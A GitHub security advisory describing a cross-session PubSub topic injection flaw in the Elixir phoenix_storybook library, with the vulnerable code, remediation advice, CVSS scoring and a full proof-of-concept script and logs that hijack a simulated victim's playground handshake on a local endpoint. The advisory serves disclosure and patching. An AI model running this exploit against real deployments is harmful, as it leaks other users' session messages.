Skip to content

PhoenixStorybook has cross-session PubSub topic injection via URL parameter

Low severity GitHub Reviewed Published May 20, 2026 in phenixdigital/phoenix_storybook • Updated Jun 9, 2026

Package

phoenix_storybook (Erlang)

Affected versions

>= 0.4.0, < 1.1.0

Patched versions

1.1.0

Description

Summary

The storybook iframe LiveView accepts a PubSub topic from the URL query string and broadcasts its own pid onto that topic with no check that the topic belongs to the current session. Any unauthenticated visitor who knows or guesses another user's playground topic can hijack the playground↔iframe handshake, causing the victim's playground to send its control messages to an attacker-controlled iframe process — a cross-session information leak.

Likely introduced in phenixdigital/phoenix_storybook@8c2c97b

Details

PhoenixStorybook.Story.ComponentIframeLive.handle_params/3 (lib/phoenix_storybook/live/story/component_iframe_live.ex:24-30) takes the topic straight from params["topic"] and broadcasts on it:

if topic = params["topic"] do
  Phoenix.PubSub.broadcast!(
    PhoenixStorybook.PubSub, topic, {:component_iframe_pid, self()}
  )
end

The shared PhoenixStorybook.PubSub is used to coordinate playground LiveViews with their iframes: a playground subscribes to a topic, learns the iframe's pid from the {:component_iframe_pid, _} message, and then uses send/2 to deliver subsequent state and control messages (variation state, theme switches, extra-assign payloads, etc.) directly to that pid.

Because the iframe trusts the query parameter, an attacker who loads /storybook/iframe/<story>?topic=<victim_topic> in their own browser causes their iframe process's pid to be announced on the victim's private topic. The victim's playground then addresses its private messages to the attacker's iframe, where they arrive in handle_info/2. There is no authentication, ownership check, or binding between the topic and the requesting session.

The fix is to stop accepting the topic from the query string — derive it server-side from the LiveView session (or pass the playground pid via a signed session) and refuse to broadcast on any topic the current session does not own. Alternatively, nest the iframe LiveView under the playground so its pid is known directly and the broadcast-based discovery is removed.

PoC

The attached script reproduces the leak end-to-end against a real Phoenix endpoint mounting the library's own router via live_storybook("/storybook", backend_module: MyStorybook). The threat model is an outside attacker who can reach the storybook iframe URL; the only entry point used is a plain HTTP GET /storybook/iframe/<story>?topic=<victim_topic>, which mounts ComponentIframeLive and triggers the vulnerable handle_params/3 call site shown above.

To simulate a legitimate playground, the script spawns a "victim" process that calls Phoenix.PubSub.subscribe(PhoenixStorybook.PubSub, victim_topic) with a freshly generated secret topic. The attacker session — completely separate, with no shared cookies or auth — then issues a single Req.get! to the iframe URL with ?topic=<victim_topic> URL-encoded onto the query string. Inside the iframe LiveView, params["topic"] is the attacker-supplied value, and Phoenix.PubSub.broadcast!/3 delivers {:component_iframe_pid, self()} to the victim's subscription. No authentication or token is needed; the only precondition is knowing (or guessing) the victim's topic.

The victim process pattern-matches on {:component_iframe_pid, attacker_iframe_pid} and forwards it to the test harness. The script prints VERIFIED: attacker-controlled "?topic=" query param caused PubSub broadcast onto victim's private topic along with the leaked pid when the cross-session message arrives, and NOT VERIFIED if nothing arrives within the timeout. The full script is attached below under "Scripts and Logs".

Impact

Cross-session information disclosure and message injection in any application that exposes phoenix_storybook over an HTTP boundary. Any unauthenticated user who can reach the iframe route and learn or guess a playground's topic can redirect the playground's private control messages — variation state, theme changes, and any developer-wired extra assigns — to an iframe process they control. There is no auth check on the broadcast, so the only precondition is reachability of the iframe URL plus knowledge of a target topic.

Scripts and Logs

# Verifies: Cross-session PubSub topic injection via URL parameter
#
# Run: elixir cross_session_pubsub_topic_injection_via_url_parameter_1352.exs
#
# Threat model: an outside attacker who can browse the storybook iframe URL.
# They open `/storybook/iframe/<story>?topic=<victim_topic>` in their own
# browser. The iframe LiveView's handle_params broadcasts
# `{:component_iframe_pid, self()}` on whatever topic the attacker put in the
# query string. A victim's playground that subscribed to `victim_topic`
# (legitimately, for its own iframe) receives the attacker's iframe pid and
# will subsequently address its private control messages to that pid.
#
# This PoC stands up a real Phoenix endpoint + the library's own router, has a
# "victim" process Phoenix.PubSub.subscribe to a secret topic, then makes a
# plain HTTP GET to the iframe URL with `?topic=<secret>` from an attacker
# session. If the victim receives the iframe pid, the topic was successfully
# hijacked.

Mix.install([
  {:phoenix_storybook, "1.0.0"},
  {:phoenix_live_view, "~> 1.0"},
  {:bandit, "~> 1.5"},
  {:req, "~> 0.5"},
  {:jason, "~> 1.4"}
])

# ----- 1. Minimum on-disk story so the iframe LV actually mounts. -----
tmp = Path.join(System.tmp_dir!(), "psb_poc_#{System.unique_integer([:positive])}")
File.mkdir_p!(tmp)

File.write!(Path.join(tmp, "demo.story.exs"), """
defmodule Storybook.Demo do
  use PhoenixStorybook.Story, :component
  def function, do: &Phoenix.Component.link/1
  def variations do
    [%Variation{id: :default, attributes: %{navigate: "/x"}, slots: ["hi"]}]
  end
end
""")

# ----- 2. Storybook backend + Phoenix endpoint/router. -----
expanded_content_path = Path.expand(tmp)

Module.create(
  MyStorybook,
  quote do
    use PhoenixStorybook, otp_app: :psb_poc, content_path: unquote(expanded_content_path)
  end,
  Macro.Env.location(__ENV__)
)

defmodule MyRouter do
  use Phoenix.Router
  import Phoenix.LiveView.Router
  import PhoenixStorybook.Router

  scope "/" do
    live_storybook("/storybook", backend_module: MyStorybook)
  end
end

poc_port = Enum.random(20_000..30_000)

Application.put_env(:psb_poc, MyEndpoint,
  http: [ip: {127, 0, 0, 1}, port: poc_port],
  server: true,
  secret_key_base: String.duplicate("a", 64),
  live_view: [signing_salt: "12345678"],
  pubsub_server: PhoenixStorybook.PubSub,
  adapter: Bandit.PhoenixAdapter,
  check_origin: false
)

defmodule MyEndpoint do
  use Phoenix.Endpoint, otp_app: :psb_poc

  @session_options [
    store: :cookie,
    key: "_psb_poc_key",
    signing_salt: "12345678",
    same_site: "Lax"
  ]

  socket "/live", Phoenix.LiveView.Socket, websocket: true
  plug Plug.Session, @session_options
  plug :fetch_query_params_plug
  plug MyRouter

  def fetch_query_params_plug(conn, _opts), do: Plug.Conn.fetch_query_params(conn)
end

# ----- 3. Boot endpoint (PhoenixStorybook.PubSub is started by the lib app). -----
{:ok, _} = MyEndpoint.start_link()

base = "http://127.0.0.1:#{poc_port}"

# ----- 4. Victim subscribes to its private playground topic. -----
victim_topic = "playground-secret-#{:erlang.unique_integer([:positive])}"
victim = self()

# A separate process plays the role of the victim's playground LV. It
# subscribes to its own topic — exactly what PlaygroundLive does when the
# legitimate user opens their playground page.
victim_pid =
  spawn_link(fn ->
    :ok = Phoenix.PubSub.subscribe(PhoenixStorybook.PubSub, victim_topic)
    send(victim, :victim_ready)

    receive do
      {:component_iframe_pid, attacker_iframe_pid} ->
        send(victim, {:victim_got, attacker_iframe_pid})
    after
      5_000 -> send(victim, :victim_timeout)
    end
  end)

receive do
  :victim_ready -> :ok
after
  2_000 -> raise "victim subscribe timed out"
end

# ----- 5. Attacker, in a completely unrelated session, hits the iframe URL
#         with ?topic=<victim's secret topic>. -----
attacker_url =
  base <>
    "/storybook/iframe/demo?topic=" <> URI.encode_www_form(victim_topic)

_resp = Req.get!(attacker_url, retry: false)

# ----- 6. Observe the cross-session leak. -----
outcome =
  receive do
    {:victim_got, leaked_pid} -> {:leaked, leaked_pid}
    :victim_timeout -> :no_leak
  after
    6_000 -> :no_leak
  end

# ----- 7. Tear down. -----
:ok = Supervisor.stop(MyEndpoint, :normal)
File.rm_rf!(tmp)
if Process.alive?(victim_pid), do: Process.exit(victim_pid, :kill)

case outcome do
  {:leaked, pid} ->
    IO.puts("Victim received iframe pid: #{inspect(pid)}")
    IO.puts("Victim's topic was: #{victim_topic} (never shared with attacker session)")
    IO.puts("Attacker only needed to know/guess that topic to hijack the pid handshake.")
    IO.puts("VERIFIED: attacker-controlled `?topic=` query param caused PubSub broadcast onto victim's private topic")

  :no_leak ->
    IO.puts("NOT VERIFIED: no cross-session message observed within timeout")
end

Logs

11:56:17.598 [warning] Can't resolve priv dir for application psb_poc

11:56:17.750 [info] Running MyEndpoint with Bandit 1.11.1 at 127.0.0.1:26466 (http)

11:56:17.750 [info] Access MyEndpoint at http://localhost:26466

11:56:17.790 [debug] Processing with PhoenixStorybook.Story.ComponentIframeLive.__live__/0
  Parameters: %{"story" => ["demo"], "topic" => "playground-secret-8"}
  Pipelines: [:storybook_browser]
Victim received iframe pid: #PID<0.598.0>
Victim's topic was: playground-secret-8 (never shared with attacker session)
Attacker only needed to know/guess that topic to hijack the pid handshake.
VERIFIED: attacker-controlled `?topic=` query param caused PubSub broadcast onto victim's private topic

References

Published by the National Vulnerability Database May 20, 2026
Published to the GitHub Advisory Database Jun 9, 2026
Reviewed Jun 9, 2026
Last updated Jun 9, 2026

Severity

Low

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v4 base metrics

Exploitability Metrics
Attack Vector Network
Attack Complexity Low
Attack Requirements Present
Privileges Required None
User interaction Passive
Vulnerable System Impact Metrics
Confidentiality Low
Integrity Low
Availability None
Subsequent System Impact Metrics
Confidentiality None
Integrity None
Availability None

CVSS v4 base metrics

Exploitability Metrics
Attack Vector: This metric reflects the context by which vulnerability exploitation is possible. This metric value (and consequently the resulting severity) will be larger the more remote (logically, and physically) an attacker can be in order to exploit the vulnerable system. The assumption is that the number of potential attackers for a vulnerability that could be exploited from across a network is larger than the number of potential attackers that could exploit a vulnerability requiring physical access to a device, and therefore warrants a greater severity.
Attack Complexity: This metric captures measurable actions that must be taken by the attacker to actively evade or circumvent existing built-in security-enhancing conditions in order to obtain a working exploit. These are conditions whose primary purpose is to increase security and/or increase exploit engineering complexity. A vulnerability exploitable without a target-specific variable has a lower complexity than a vulnerability that would require non-trivial customization. This metric is meant to capture security mechanisms utilized by the vulnerable system.
Attack Requirements: This metric captures the prerequisite deployment and execution conditions or variables of the vulnerable system that enable the attack. These differ from security-enhancing techniques/technologies (ref Attack Complexity) as the primary purpose of these conditions is not to explicitly mitigate attacks, but rather, emerge naturally as a consequence of the deployment and execution of the vulnerable system.
Privileges Required: This metric describes the level of privileges an attacker must possess prior to successfully exploiting the vulnerability. The method by which the attacker obtains privileged credentials prior to the attack (e.g., free trial accounts), is outside the scope of this metric. Generally, self-service provisioned accounts do not constitute a privilege requirement if the attacker can grant themselves privileges as part of the attack.
User interaction: This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable system. This metric determines whether the vulnerability can be exploited solely at the will of the attacker, or whether a separate user (or user-initiated process) must participate in some manner.
Vulnerable System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the VULNERABLE SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the VULNERABLE SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the VULNERABLE SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
Subsequent System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the SUBSEQUENT SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the SUBSEQUENT SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the SUBSEQUENT SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N

EPSS score

Exploit Prediction Scoring System (EPSS)

This score estimates the probability of this vulnerability being exploited within the next 30 days. Data provided by FIRST.
(36th percentile)

Weaknesses

Authorization Bypass Through User-Controlled Key

The system's authorization functionality does not prevent one user from gaining access to another user's data or record by modifying the key value identifying the data. Learn more on MITRE.

CVE ID

CVE-2026-47068

GHSA ID

GHSA-mrhx-6pw9-q5fh

Credits

Dependabot alerts are not supported on some or all of the ecosystems on this advisory.

Learn more about GitHub language support

Loading Checking history
See something to contribute? Suggest improvements for this vulnerability.